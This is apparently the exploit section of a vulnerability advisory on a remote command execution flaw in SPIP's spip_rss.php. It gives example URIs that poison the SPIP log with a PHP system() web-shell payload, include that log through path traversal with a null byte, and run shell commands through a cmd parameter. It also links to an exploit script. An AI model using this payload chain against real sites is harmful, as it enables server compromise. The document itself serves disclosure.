• info
• discussion
• exploit
• solution
• references

SPIP Spip_RSS.PHP Remote Command Execution Vulnerability


An exploit is not required.

Example URI have been provided:


http://www.example.com/spip_rss.php?GLOBALS[type_urls]=/../ecrire/data/spip.log%00

http://www.example.com/spip_acces_doc.php3?id_document=0&file=<?system($_GET[cmd]);?>
http://www.example.com/spip_rss.php?cmd=ls%20-la&GLOBALS[type_urls]=/../ecrire/data/spip.log%00

• http://www.securityfocus.com/vulnerabilities/exploits/spip_182g_shell_inj_xpl.php